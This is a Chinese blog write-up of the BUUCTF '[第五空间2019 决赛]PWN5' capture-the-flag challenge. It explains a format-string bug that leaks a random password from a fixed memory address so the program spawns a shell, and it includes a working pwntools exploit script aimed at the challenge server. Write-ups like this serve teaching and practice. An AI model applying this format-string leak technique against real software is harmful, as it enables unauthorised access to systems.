BUUCTF的[第五空间2019 决赛]PWN5

使用IDA打开

可以看到明显的格式化字符串漏洞 ,它是在bss段0x804c044存储了一个随机数,然后通过最后比较输入的passwd和随机数是否一样,如果一样就打开/bin/sh命令。
我的思路是,通过格式化字符串漏洞泄露0x804c044的数据,然后把得到的数据作为有符号的整数的字符串输入给nptr,然后程序会用atoi把字符串转换为整型。
在pwndbg中对程序调试,发现输入的buf和esp差距为0x28,所以是第十个格式化参数。
from pwn import *
p = remote("node4.buuoj.cn", 29667)
#p = process('./pwn')
payload = flat(0x804c044, "ok%10$sok")
p.recv()
p.sendline(payload)
p.recvuntil("ok")
num = p.recvuntil("ok",drop = True)
n = u32(num)

## 因为使用u32()函数在64位机器上解包得到的数字不会出现负数,所以自己对n进行判断,如果大于0x100000000,就肯定是一个负数的补码。
if n>0x8fffffff:
    n = n-0x100000000
p.sendline(str(n))
p.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值